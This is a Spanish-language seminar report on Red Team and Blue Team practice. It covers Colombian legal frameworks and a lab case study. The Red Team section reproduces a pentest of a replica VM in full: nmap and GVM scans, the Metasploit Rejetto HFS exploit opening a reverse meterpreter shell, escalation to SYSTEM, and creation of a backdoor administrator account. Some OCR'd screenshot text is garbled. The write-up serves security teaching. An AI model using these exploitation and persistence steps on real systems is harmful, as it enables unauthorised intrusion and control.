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Resumen

El presente trabajo asociado al Seminario Especializado: Equipos Estratégicos en
Ciberseguridad: Red Team & Blue Team, muestra de manera sintetizada las labores realizadas a lo
largo de su duracién, donde se identificaron las caracteristicas de cada uno de los equipos mediante
la aplicacion de un caso de estudio. La pretension con este documento no es la de detallar paso a
paso las actividades realizadas, sino la de generar a nivel mas abstracto cuales son los aspectos
mas importantes de las funciones realizadas por cada equipo y establecer tanto a partir del
conocimiento tedrico generado en las revisiones documentales como en la experiencia adquirida
mediante la practica de laboratorio desarrollada, cuales pueden ser las estrategias generales a nivel
de ciberseguridad que se pueden adoptar en las organizaciones a fin de mejorar su postura de

seguridad.

De igual manera, transversalmente se menciona la importancia de la colaboracion entre los
equipos de Red Team y Blue Team mediante la estrategia de Purple Team, como una forma de
medir la eficacia en las acciones de los dos equipos, adquirir conocimiento en ambas partes
mediante la retroalimentacion de las acciones y llevar a la mejora continua de los procesos para

asi fortalecer la defensa de la organizacion.
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Glosario

CIS: Acronimo del Center for Internet Security, entidad independiente que genera
controles y documentos de buenas practicas de seguridad para su aplicacion en equipos, sistemas

operativos y aplicaciones.

DDoS: Acréonimo de Distributed Denial of Service. Se establece como un ataque de
denegacion de servicios hacia objetivos, el cual es generado desde varios origenes distintos de

trafico.

Equipo Azul (BLUE TEAM): Equipo de seguridad informatica que tiene como objetivo
realizar la ejecucion de las labores de defensa, mediante una vigilancia constante de los
comportamientos y eventos que se presentan en los sistemas de una organizacion a fin de
detectar desviaciones que puedan afectar a los activos de informacion y realizar la respuesta

frente a un incidente en caso de requerirse.

Equipo Rojo (RED TEAM): Equipo de seguridad informatica encargado de las labores
ofensivas mediante la simulacién de comportamientos que puede realizar un actor malicioso, lo
cual sirve para determinar tanto la postura de seguridad de los activos de informacion como la
efectividad de las labores del equipo de blue team y de las medidas defensivas de la

organizacion.

NVD: Acronimo de National Vulnerability Database. Repositorio del gobierno de EE.UU
mantenido por el NIST, que almacena informacion de fallas/debilidades a nivel de software y

hardware que pueden comprometer la seguridad de activos de informacion.



Pentesting: Actividad donde aplicada una metodologia especifica, se realiza la deteccion
y explotacion de vulnerabilidades en un activo de informacion a fin de identificar el nivel de

riesgo de este.

RCE: Acronimo de Remote Code Execution. Vulnerabilidad de nivel critico y técnica de
ataque que permite que un actor malicioso pueda realizar la ejecucion de comandos desde una

ubicacion remota, tomando control de un objetivo.

TTP: Acronimo de Tactics, Techniques and Procedures. En el ambito de la
ciberseguridad, se refiere a la forma de describir el patron de comportamiento de un actor

malicioso para comprometer un activo de informacion.
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Introduccion

Teniendo en cuenta que la premisa maxima de la seguridad informatica es la de proteger
los activos de informacion, este trabajo se enfoca en mostrar como las actuaciones de los equipos
de Blue Team y Red Team dentro de las organizaciones, sirven para cumplir dicho proposito,
esto a partir de las estrategias de caracter ofensivo y defensivo que se despliegan en cada uno de
sus frentes. Sin embargo, cabe mencionar que estas operaciones no deben verse como esfuerzos
aislados, sino que deben tratarse como procesos complementarios entre si, que andan en
constante retroalimentacion y que llevan a la mejora continua de la postura de seguridad de la

organizacion.

En este documento se observaran cudles son los aspectos relevantes de cada uno de los
equipos a partir de la vision brindada en el desarrollo del Seminario Especializado: Equipos
Estratégicos en Ciberseguridad: Red Team & Blue Team, al igual que recomendaciones para el
planteamiento de estrategias para mejorar la postura de seguridad de las organizaciones a partir

de la experiencia adquirida en el programa académico.



Objetivos

Objetivo General

Realizar la generacion de estrategias de seguridad frente a las vulnerabilidades y debilidades

identificadas en una infraestructura de IT de una organizacion.

Objetivos Especificos

Identificar los aspectos relevantes de los equipos de Red Team y Blue Team que permitan el
desarrollo de estrategias de seguridad a partir de lo observado en el desarrollo del seminario

especializado.

Generar recomendaciones para implementar estrategias que permitan llevar a la mejora de la
postura de seguridad de las organizaciones a partir de la aplicacion de los conocimientos tedricos

y practicos adquiridos en el seminario especializado.
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Contenido del Trabajo

Aspectos que aporten al desarrollo de estrategias de Red Team y Blue Team

De acuerdo con el desarrollo de las etapas anteriores del Seminario de Especializacion
donde se especificaron los fundamentos legales, €ticos y operativos de los equipos de Red Team
y Blue Team en un escenario donde se requiere hacer una investigacion de un incidente ocurrido
en una entidad publica, actividad a cargo de un proveedor de seguridad al cual estamos asignados
como expertos en seguridad, es posible sintetizar diversos aspectos relevantes de lo observado,

asi:

Aspectos Legales y Eticos de la actuacién de los equipos de Blue Team/Red Team

Dentro de las primeras dos etapas se identificaron a nivel Colombia, cuales aspectos
legales se deben tener en cuenta para el desarrollo de las funciones bésicas de los equipos de
Red/Blue Team, dada la sensibilidad de la informacion que puede ser manejada, las actividades

que se pueden desarrollar y las implicaciones juridicas de estas actuaciones.

Importante aqui la mencion de dos normas relevantes a observar en una actividad que se
desarrolle en territorio colombiano o incluso de manera remota para un cliente cuyo domicilio

comercial sea Colombia:
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- Ley 1273 de 2009: Como lo menciona textualmente dicha ley, se introduce el
termino juridico de “proteccion de informacion y datos” dentro del codigo penal
colombiano asi como se tipifican los 9 delitos mas comunes que pueden darse en activos
de informacién como lo son: el acceso abusivo a un sistema informatico, la
obstaculizacion ilegitima de un sistema informatico o red de comunicacion, la
interceptacion de datos informaticos, el dafio informatico, el uso de software malicioso, la
violacion de datos personales, la suplantacion de sitios web para obtener datos
personales, el hurto utilizando medios informaticos y la transferencia no consentida de
activos. Si bien no esta especificado en la ley directamente, la Fiscalia General de la
Nacién en su documento Cartilla Metodologica de Atencion de delitos informaticos
(Fiscalia General de la Nacion, s.f.), explica cuéles pueden ser los modos en los cuales
los delincuentes pueden cometer los delitos expuestos en la Ley 1273 de 2009, donde se
incluyen desde los ataques DDoS, el uso de virus y ransomware, la explotacion de
vulnerabilidades hasta los diversos ataques que hacen aprovechamiento de las distintas

técnicas de Ingenieria Social.

- Ley 1581 de 2012: Denominada la “Ley de proteccion de datos personales”
(Congreso de la Republica de Colombia, 2012), es una norma que especifica como se
desarrolla el derecho otorgado a los ciudadanos respecto al conocimiento, actualizacion y
modificacion de la informacion que se recoge de estos. Se establece en esta norma, los
principios para el tratamiento de los datos personales, las categorias de datos, los
derechos que tienen los ciudadanos respecto al manejo de los datos personales, las

obligaciones de las personas/entidades que manejan datos, los mecanismos establecidos
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para vigilancia y control de las entidades, asi como las sanciones por la no observancia de

la ley.

De acuerdo con las necesidades del cliente u organizacion a la cual se esté desarrollando
la actividad, es importante validar que no se requiera una adherencia normativa adicional como
lo puede ser la observancia de la ISO 27001 u otras normas de compliance, asi como el
cumplimiento de la politica de seguridad de la informacién (en caso de existir para la

organizacion objetivo).

Es de destacar igualmente, que, para el caso de Colombia, las actividades de ingenieria
deben estar sujetas al Codigo de Etica emanado por el COPNIA (COPNIA, 2015), sobre todo en

aspectos como:

- Articulo 31 paragrafo f. (deberes generales de los profesionales)

- Articulo 34 paragrafo a. (prohibiciones especiales a los profesionales respecto de la
sociedad)

- Articulo 35, paragrafo b. (deberes de los profesionales para con la dignidad de sus

profesiones)

Ahora bien, para plasmar todos estos requerimientos legales de una forma clara y concisa
al momento previo de la realizacion de la actividad se recomienda la suscripcion de un acuerdo
de confidencialidad entre proveedor y cliente como se indica por parte de autores como Romero,
Figueroa y Vera (Romero Castro et al., 2018, p. 51), donde se deben delimitar las acciones que
puede adelantar la empresa con la informacion confidencial y establecer las consecuencias de

caracter penal/econdmico que puede sufrir el proveedor de seguridad en caso de que se haga mal
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uso de esta. Un buen ejemplo de un modelo adecuado de un acuerdo de confidencialidad puede
ser el que expone el INCIBE (INCIBE, 2021) donde se establecen claramente las
responsabilidades de las partes, acciones que se pueden ejecutar y medidas/controles a aplicar

por parte del proveedor para garantizar que la informacion recopilada no vaya a caer en manos

indebidas.

Dentro del ejercicio realizado en el Seminario de Profundizacion se encontraron serias
deficiencias en el acuerdo de confidencialidad revisado dado que no se cumplia el codigo de
ética del COPNIA como la ley 1273 de 2009, por lo que se pudo concluir que se carecia de un
marco legal que pudiera sustentar las actuaciones técnicas y hacia que estas fueran susceptibles a

consecuencias de caracter legal.

Adicional a esto, se indica otro documento importante a suscribir el cual es el RoE (Rules
of Engagement), el cual sirve para delimitar las acciones, técnicas y procedimientos que pueden
ejecutar los equipos de Red Team (principalmente) y Blue Team, lo cual va a servir para
determinar el alcance de cada uno de ellos y que estas acciones no vayan en contravia de las
disposiciones legales del sitio donde se esté desarrollando la actividad. La importancia de este
documento es resaltada por Rehberger ((Rehberger, 2020, p. 23-25), quien indica que es

necesaria la suscripcion del documento para garantizar la debida diligencia en las actividades.

Aspectos Técnicos de los Equipos de Red Team

Dentro del desarrollo del seminario especializado las actividades de Red Team se

delimitaron a realizar una réplica en una copia forense del compromiso realizado por parte del
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actor malicioso a la maquina de la entidad estatal, como se muestra en los siguientes pasos del

proceso de pentesting:

Descubrimiento y Enumeracion de puertos.

Teniendo en cuenta lo indicado en el anexo 4 — escenario 3, se procedié a realizar una
revision de los puertos abiertos en la maquina replica a fin de conocer cudl fue la posible

superficie de ataque identificada por el actor malicioso.

La herramienta elegida para esto fue nmap, donde mediante el comando nmap -sSV -p-

10.111.1.10 se hizo el escaneo de puertos pertinente encontrando lo que se muestra en la figura 1.

Figura 1

Ejecucion de escaneo de puertos con deteccion de versiones de servicios en nmap

10.111.1.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 21:49 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.111.1.10
Host is up (0.0010s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd (SSDP/UPNP)

2.0
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
2.0

10243/tcp open http Microsoft HTTPAPI httpd (SSDP/UPNP)
49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)

Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.43 seconds

Nota: Elaboracion propia
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Escaneo de Vulnerabilidades.

Una vez se determinaron los puertos abiertos en el equipo, se procedid a realizar un
escaneo de vulnerabilidades a los servicios identificados, apoyado por la herramienta Greenbone

Security Assistant o GVM(antiguo OpenVAS) como se muestra en la figura 2.

Figura 2

Escaneo de vulnerabilidades a maquina victima

Administration

@x9n LD Filter OXOQF -

@RepomWed, Nov 6, 2024 3:01 AM UTC mmrrems 1D: F217b98.6459-4670.9495 b

Information Results Hosts Ports Applications Operating Systems CVEs Closed CVEs TLS Certificates Error Messages User Tags
(©9ofS1)_ (Lofl) _(30f16) 2or2) (1or1) @ord) (9.0r9) (©oro) @or2) ©

1-1of1
1P Address Hostname ©OS Ports Apps Distance Auth Start End High Medium Low Log  fanee Total Severityy

10111.1.10 PC202006 a8 s 2 Wed, Nov 6, 2024 3:01 AM UTC Wed, Nov 6, 2024 3:53 AM UTC 4 3 2 o 0 9 [_o0uion ]
A ges=0 levels=hml rows=100 i = 1-10f1

Nota: Elaboracion propia

Al verificar los resultados del escaneo, se encontraron cuatro vulnerabilidades relevantes
para el analisis, una indicando el estado de obsolescencia del sistema operativo, otra indicando
multiples vulnerabilidades a nivel del protocolo SMB y dos relacionadas con el servicio

ejecutado en el puerto tcp/80 como se muestra en la figura 3.
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Figura 3

Vulnerabilidades identificadas en maquina victima por parte de GVM

@

S@x0n LD

Filter OoXooHr -
@ Report:Wed, Nov 6, 2024 3:01 AM UTC mrrrss 10: 1 4
Information Results Hosts Ports Applications Operating Systems CVEs Closed CVEs TLS Certificates Error Messages User Tags
(9ors1) _(lofl) (3of16) 2) orn (4 of4) (9 or9) (©0oro) @or2) ©
1-¢
Vulnerability * o Location Created
"» Name

Operating System (0S) End of Life (EOL) Detection & 80% 10111110 PC202006 generaljtcp Wed, Nov 6, 2024 3:31 AM UTC
HTTP File Server Remote Command Execution Vulnerability-02 (jan 2016) * 80% 10111110 PC202006 80tcp Wed, Nov 6, 2024 3:36 AM UTC
Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389) & 95% 10111110 PC202006 4asftcp Wed, Nov 6, 2024 3:44 AM UTC
HTTP file Server Remote Command Execution Vulnerability-01 (Jan 2016) £ 80% 10111110 PC202006 80ptcp Wed, Nov 6, 2024 3:36 AM UTC
DCE/RPC and MSRPC Services tion Reporting & 80% 10111110 PC202006 1357tcp Wed, Nov 6, 2024 3:38 AM UTC

; (HTTP) & 70% 10111110 PC202006 80ftcp Wed, Nov 6, 2024 3:36 AM UTC
Cleartext Transmissi Information via HTTP @ 8% 10111110 PC202006 80tcp Wed, Nov 6, 2024 3:35 AM UTC
TCP Timestamps Information s 80% 10111110 PC202006 generaljtcp Wed, Nov 6, 2024 3:31 AM UTC
ICMP Timestamp Reply Information Disclosure & 80% 10111110 PC202006 generaljicmp Wed, Nov 6, 2024 3:31 AM UTC

Nota: Elaboracion propia

Dado lo anterior, se consider6 relevante la revision a profundidad de las vulnerabilidades
del protocolo SMB vy las identificadas en el puerto tcp/80. Inicialmente revisando la
vulnerabilidad del protocolo SMB reportada por la aplicacion GVM, se identificaron dos detalles

fundamentales como se muestra en la figura 4:

- Falta de aplicacion de parche de seguridad del boletin MS17-010 (Correccion de

- Posible uso de SMBv1.
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Figura 4

Detalle de vulnerabilidad identificada en servicio SMB — maquina victima

Administration

® Name
Operating System (0S) End of Life (EOL) Detection 80% 10111110 PC202006 generaljtcp Wed, Nov 6, 2024 3:31 AM UTC
80% 10111110 PC202006 80/tcp Wed, Nov 6, 2024 3:36 AM UTC

95% 10111110 PC202006 44s/tep Wed, Nov 6, 2024 3:44 AM UTC

HTTP file Server Remote Command Exec

ability-02 (jan 2016)
s-Remote (4013389)

Fo ¥ i

Microsoft Windows SMB Server Multiple

Q
Summary

This host is missing a critical security
update according to Microsoft Bulletin MS17-010.

Detection Result
Vulnerability was detected according to the Detection Method.
Insight

Multiple flaws exist due to the way that the
Microsoft Server Message Block 1.0 (SMBV1) server handles certain requests

Detection Method

Send the crafted SMB transaction request
with fid = 0 and check the response to confirm the vulnerability.
Details: Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389)...0ID: 1.3.6.1.4.1.25623.1.0.810676

Version used: 2024-07-17T05:05:38Z

Nota: Elaboracion propia

A fin de verificar los hallazgos en el escaneo, se ejecutd de nuevo nmap con unos
parametros puntuales (--script “safe or smb-enum-*"), encontrando que efectivamente el objetivo
utiliza SMBv1 y adicionalmente se detecta el servicio SMB como vulnerable a los CVE-2017-
0143, CVE-2017-0144 que permite que se pueda hacer ejecucion remota de comandos (RCE)
como se muestra en la figura 6. Cabe destacar que estas vulnerabilidades son las que fueron
explotadas en su momento mediante el exploit EternalBlue y que fueron aprovechadas en el

ciberataque denominado WannaCry en el 2017.
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Figura 5

Detalle de ejecucion de scripts smb de nmap en maquina victima

fe r ) x 445 10.111.1.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 11:31 EST
Pre-scan script results:
| knx-gateway-discover:
|_ ERROR: Couldn't get interface for 224.0.23.12
| _hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https:// .robtex.com/api/
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
| _http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://ww.robtex.com/api/
| _eap-info: please specify an interface with -e
| _broadcast-xdmcp-discover: ERROR
| broadcast-igmp-discovery:
| 10.111.1.10
I Interface: etho
| Version: 2
| Group: 224.0.0.252
| Description: Link-local Multicast Name Resolution (rfc4795)
| 10.111.1.10
| Interface: etho
| Version: 2
| Group: 239.255.255.250
| Description: Organization-Local Scope (rfc2365)
|_ Use the newtargets script-arg to add the results as targets
| broadcast-listener:
| udp
|
|
|

fqdn
fe80::4842:9ce4:4e38:7898 PC202006
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.111.1.10
Host is up (0.0011s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

| _smb-enum-services: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:92:80:C0 (Oracle VirtualBox virtual NIC)

Host script results:

| _msrpc-enum: NT_STATUS_ACCESS_DENIED
| _path-mtu: PMTU 1500

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1l
I servers (ms17-010).

I

Nota: Elaboracion propia

Por otra parte, las vulnerabilidades de nivel alto identificadas en el puerto tcp/80 estan
relacionadas con la version de la aplicacion HTTP File Server (para el caso del activo analizado,
la 2.3), la cual es susceptible a ejecucion remota de comandos (CVE-2014-6287, CVE-2014-

7226), como se puede observar en la figura 6.
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Figura 6
Detalle de vulnerabilidades identificadas por GVM en servicio HTTP File Server (tcp/80) de

maquina victima

Dashboards Assets Resilience Secinfo Configuration

P Name
80%  10.111.1.10 PC202006
80%  10.111.1.10 PC202006
95%  10.111.1.10 PC202006
80 % 10.111.1.10 PC202006

Operating System (0S) End of Life (EOL) Detection
HTTP File Server Remote Command Execution Vulnerability-02 (Jan 2016)
Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389)

Fo fo ¥ It

HTTP File Server Remote Command Execution Vulnerability-01 (Jan 2016)

@

Summary
HTTP File Server is prone to a remote command execution (RCE) vulnerability.

Detection Result

Installed Version: 2.3
Fixed Version: 2.3d
Insight

The flaw is due to the application does not
properly validate uft-8 broken byte representation

Detection Method

Checks if a vulnerable version is present on the target host.
Details: HTTP File Server Remote Command Execution Vulnerability-01 (Jan 2016) OID: 1.3.6.1.4.1.25623.1.0.806813

Version used: 2024-02-20T05:05:48Z
Affected Software/0S
HttpFileServer version 2.3c and prior.

Impact

Successful exploitation will allow an
attacker to execute arbitrary code by uploading a file with certain invalid
UTF-8 byte sequences that are interpreted as executable macro symbols.

Nota: Elaboracion propia

Tal y como lo indica el NIST en la NVD (NVD, 2021), la vulnerabilidad afecta a las
versiones 2.3x de la aplicacion, debido a un fallo en el manejo de expresiones regulares en una
libreria usada por esta. Al enviar una bisqueda con los caracteres “%00” (null byte) y comandos
de la aplicacion, la aplicacion ejecutard este ultimo de forma directa en el activo evaluado. Como
se menciona igualmente en la NVD, la vulnerabilidad fue resuelta por el fabricante en las

versiones 2.3c y posteriores.
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Explotacion.

Para la fase de explotacion, se realizo la busqueda de exploits publicos para las
vulnerabilidades detectadas en la fase anterior del proceso de pentesting, encontrando que tanto
para el CVE-2017-0143 (SMB) como para los CVE-2014-6287, CVE-2014-7226 (HTTP File
Server) existen exploits que ya estan incluidos en el framework Metasploit como se muestra en

la figura 7.

Figura 7

Reporte en github de Metasploit de inclusion de exploit para vulnerabilidad en Rejetto

Public

<> Code (© Issues 408 i1 Pullrequests 44 U Discussions () Actions [ Projects 1 M wiki @ Security |~ Insights

Http File Server Remote Command Exec #

¥ Merged | jvazquez-

Q) Conversation 15
¢
% mfadzilr commented on Sep 1

Add "http_file_server_exec" remote exploitation module

Remote command execution bypass macro filters, using "%00" to bypass filters, ‘save’ and "exec’ macro command to create vbs file
dan execute the vbs script on the target system. please note that when using “"exec”, it will execute 4 x times.

¢ Homepage:
 Software Download: A A 1d (they already release a patch)

¢ Alternate Download:

Tested On: HFS v2.3b
o Windows XP (Build 2600, Service Pack 3).

o Windows 7 (Build 7601, Service Pack 1).
o Windows 8 (Build 9200).

Nota: Elaboracion propia

A fin de validar la informacién encontrada, se hizo la revision directa en la herramienta

tanto de la existencia del exploit EternalBlue para las vulnerabilidades de SMB como para las
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vulnerabilidades del servicio HTTP File Server. Como se observa en las figuras 8 y 9, hay

existencia de dichos exploits en Metasploit.

Figura 8

Resultado de busqueda de exploit SMB en Metasploit

msf6 > search eternal

Matching Modules

Name Disclosure Date Rank
exploit/windows/smb/ms17_010_EEEFnalblue 2017-03-14 average
target: Automatic Target . .

Windows
Windows Embedded
Windows Server 20
Windows 8
Windows 8.1
Windows Server 2012
target: Windows 10 Pro
target: Windows 10 Enterprise Evaluation 4
exploit/windows/smb/ms17_010_psexec normal
Automatic -
PowerShell
Native upload
: MOF upload
ETERNALSYNERGY
ETERNALROMANCE
\_ AKA: ETERNALCHAMPION
\_ AKA: ETERNALBLUE 5 .
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal
\_ AKA: ETERNAESYNERGY . .
)\ KA: ETERNALROMANCE
ETERNALCHAMPION
ETERNALBLUE . ¢
/scanner/smb/smb_ms17_010 o normal
- DOUBLEPULSAR :
\_ AKA: ETERNAUBLUE 5
exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
\_ target: Execute payload (x64) !
\_ target: Neutralize implant

Interact with a module by name or index. For example 5
After interacting with a module you can manually set a TARGET with

Nota: Elaboracion propia

Figura 9

Description

MS17-010 EfE€FAalBlue SMB Remote Windows Kernel Pool Corruption

MS17-010 EféFnalRomance/Ef@PAalSynergy/Et@FnalChampion SMB Remote Windows Code Execution

Ms17-010 EfeEalRonance/EteEnalsynergy/EX@EalChanpion SMB Remote Windows Command Execution

MS17-010 SMB RCE Detection

SMB DOUBLEPULSAR Remote Code Execution

Resultado de busqueda de exploit de aplicacion Rejetto HTTP File Server en Metasploit

msf6 > search HTTPFile

Matching Modules

# Name Disclosure Date

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11

Interact with a module by name or index. For example

Nota: Elaboracion propia

Rank Check Description

Yes Rejetto HEEpFileserver Remote Command Execution

Se realizo la prueba con el exploit de la aplicacion Rejetto HTTP File Server, donde al

seleccionarlo y verificar las opciones disponibles en Metasploit mediante la ejecucion del
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comando options, se pueden personalizar varios valores como el objetivo (RHOSTS, para este
caso el 10.111.1.10), el puerto de la aplicacion (RPORT — para este caso, el tcp/80) y demaés
como la ruta de la aplicacion y si se va a utilizar un proxy para acceder al equipo victima.
Adicional a esto, para la apertura de la sesion remota se requiere configurar la direccion IP del
equipo que estard a la escucha de la apertura de la shell de tipo reverse tcp en el equipo victima
y el puerto por donde se estara escuchando, que por defecto asigna el tcp/444. Se puede observar

en la figura 10, lo mencionado anteriormente.

Figura 10

Opciones de exploit HTTP File Server RCE - Metasploit

oloit v6.4.32-
2459 exploits - 1266 auxiliary - 430 post
1471 payloads - 49 encoders - 11 nops

+ — —=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search HTTPFile

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 Yes Rejetto HEEPFilEServer Remote Command Execution

Interact with a module by name or index. For example ; or

msf6 > use @
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description
HTTPDELAY no Seconds to wait before terminating web server

Proxies no A proxy chain of format type:host:port[,type:host:port][ ...

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 3 yes The target port (TCP)

SRVHOST .0.0. yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8 yes The local port to listen on.

SsL E no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

TARGETURT  / yes The path of the web application

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 127.0.0.1 yes The listen address (an interface may be specified)

LPORT Lbbb yes The listen port

Nota: Elaboracion propia

Al configurar los parametros de RHOSTS, LHOST y ejecutar el exploit mediante el
comando run, se pudo observar que se abri6 una sesion de tipo Meterpreter en la maquina

objetivo como se muestra en la figura 11.
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Figura 11

Configuracion de parametros de exploit y ejecucion de este - Metasploit

Exploit target:

Id Name

] Automatic

View the full module info with the Jror command.

msf6 exploit( ) > set RHOSTS 10.111.1.10
RHOSTS = 10.111.1.10

msf6 exploit( ) > set LHOST 10.111.1.11
LHOST = 10.111.1.11

msf6 exploit( ) > run

Started reverse TCP handler on 10.111.1.11:4444
Using URL: http://10.111.1.11:8080/dgkzp2YP
Server started.
Sending a malicious request to /
Payload request received: /dgkzp2YP
Sending stage (176198 bytes) to 10.111.1.10
Meterpreter session 1 opened (10.111.1.11:4444 — 10.111.1.10:49197) at 2024-11-09 20:37:21 -0500
Server stopped.
[!] This exploit may require manual cleanup of '¥TEMP%\LXVoLGMBpU.vbs' on the target

meterpreter > i

Nota: Elaboracion propia

Una vez abierta la sesion meterpreter, se valido que se estuviera dentro del objetivo
mediante el comando ipconfig, donde nos mostré las interfaces de red del equipo donde se abrid
la sesion y confirmando la intrusion en el equipo victima (10.111.1.10) tal y como se observa en

la figura 12.
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Figura 12

Ejecucion de comando ipconfig en sesion meterpreter establecida por exploit

For more info on a specific command, use
meterpreter > ipconfig

Interface 1

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU 1 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

Name : Adaptador de escritorio Intel(R) PRO/1000 MT
Hardware MAC : 08:00:27:92:80:c0

MTU : 1500

IPv4 Address : 10.111.1.10

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::4842:9ce4:4e38:7898

IPv6 Netmask : ffff:ffff:ffff:ffff:

Interface 12

Name : Adaptador ISATAP de Microsoft

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:a6f:10a

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Nota: Elaboracion propia

Escalamiento de privilegios.

Teniendo una sesion de meterpreter desde el paso anterior de explotacion y generada una
Shell mediante el comando shell, se valido el usuario con el cual se tenia abierta esta. Esto se
pudo realizar mediante la ejecucion el comando whoami. Como se muestra en la figura 13, el

usuario fue uno local en la maquina PC202006 llamado usuario.
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Figura 13

Escalamiento de sesion meterpreter a Shell interactiva y validacion de usuario con el que se creo

la conexion.

meterpreter > shell

Process 3316 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Downloads>whoami
whoami
pc202006\usuario

Nota: Elaboracion propia

Volviendo a la sesion de meterpreter, dentro de los comandos que se podian ejecutar
dentro de esta seglin la ayuda de Metasploit, estaba uno destinado a validar si se podia escalar
privilegios hacia el usuario SYSTEM. La cuenta SYSTEM o como NT AUTHORITY SYSTEM
como se conoce de forma completa, es una cuenta de caracter especial que tiene privilegios atin

mas altos que los que puede tener un usuario administrador de forma local.

Al ejecutar el comando getsystem, se indico que la tarea fue exitosa y al lanzar de nuevo
la Shell interactiva, se realiz6 la validacion del usuario con el que se estaba ejecutando esta, se
encontrd que el usuario era NT AUTHORITY\SYSTEM, con lo cual se pudo escalar privilegios

dentro del sistema, como se muestra en la figura 14.
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Figura 14

Escalamiento de privilegios mediante meterpreter, apertura de Shell interactiva y validacion de

usuario de la sesion

meterpreter > getuid

Server username: PC202006\usuario

meterpreter > getsystem

... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell

Process 3460 created.

Channel 3 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>]]

Nota: Elaboracion propia

Persistencia.

Una vez logrado tener privilegios elevados como SYSTEM, se realizo la creacion de un
usuario local y se agreg6 al grupo de Administradores, como se muestra en las figuras 15y 16,
demostrando el riesgo critico que tiene la vulnerabilidad explotada en la aplicacién Rejetto

HTTP File Server.
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Figura 15

Creacion de usuario local en maquina victima mediante Shell interactiva desde maquina
atacante

meterpreter > shell

Process 3460 created.

Channel 3 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>net user /add carlos.perez
net user /add carlos.perez
Se ha completado el comando correctamente.

Nota: Elaboracion propia

Figura 16

Adicion de usuario local a grupo de administradores y validacion de este en Shell interactiva

C:\Windows\system32>net localgroup Administradores /add carlos.perez
net localgroup Administradores /add carlos.perez
Se ha completado el comando correctamente.

C:\Windows\system32>net localgroup Administradores

net localgroup Administradores

Nombre de alias Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros

Administrador

carlos.perez

usuario

Se ha completado el comando correctamente.

C:\Windows\system32>[]

Nota: Elaboracion propia

De acuerdo con la actividad realizada, se pueden mencionar aspectos importantes de los

equipos de Red Team dentro de las organizaciones:
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Las actividades que realizan son utiles para conocer no solo las debilidades de los
activos protegidos, sino también el verdadero impacto de la explotacion de las
vulnerabilidades que se encuentren estos, lo cual sirve para mostrar a la alta direccion
la importancia de realizar acciones de mitigacion y/o remediacion de estas.

